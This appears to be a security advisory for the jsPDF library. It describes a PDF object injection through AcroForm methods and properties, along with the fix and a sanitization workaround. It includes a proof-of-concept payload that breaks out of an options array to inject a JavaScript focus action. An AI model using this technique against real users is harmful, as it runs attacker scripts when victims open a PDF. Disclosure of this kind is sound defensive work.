Overview
About vulnerability
Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:
AcroformChoiceField.addOptionAcroformChoiceField.setOptionsAcroFormCheckBox.appearanceStateAcroFormRadioButton.appearanceState
Example attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
Patches
The vulnerability has been fixed in [email protected].
Workarounds
Sanitize user input before passing it to the vulnerable API members.
Credits
Research and fix: Ahmet Artuç
Details
- Affected product:
- jspdf
- Affected packages:
- jspdf (+4 more)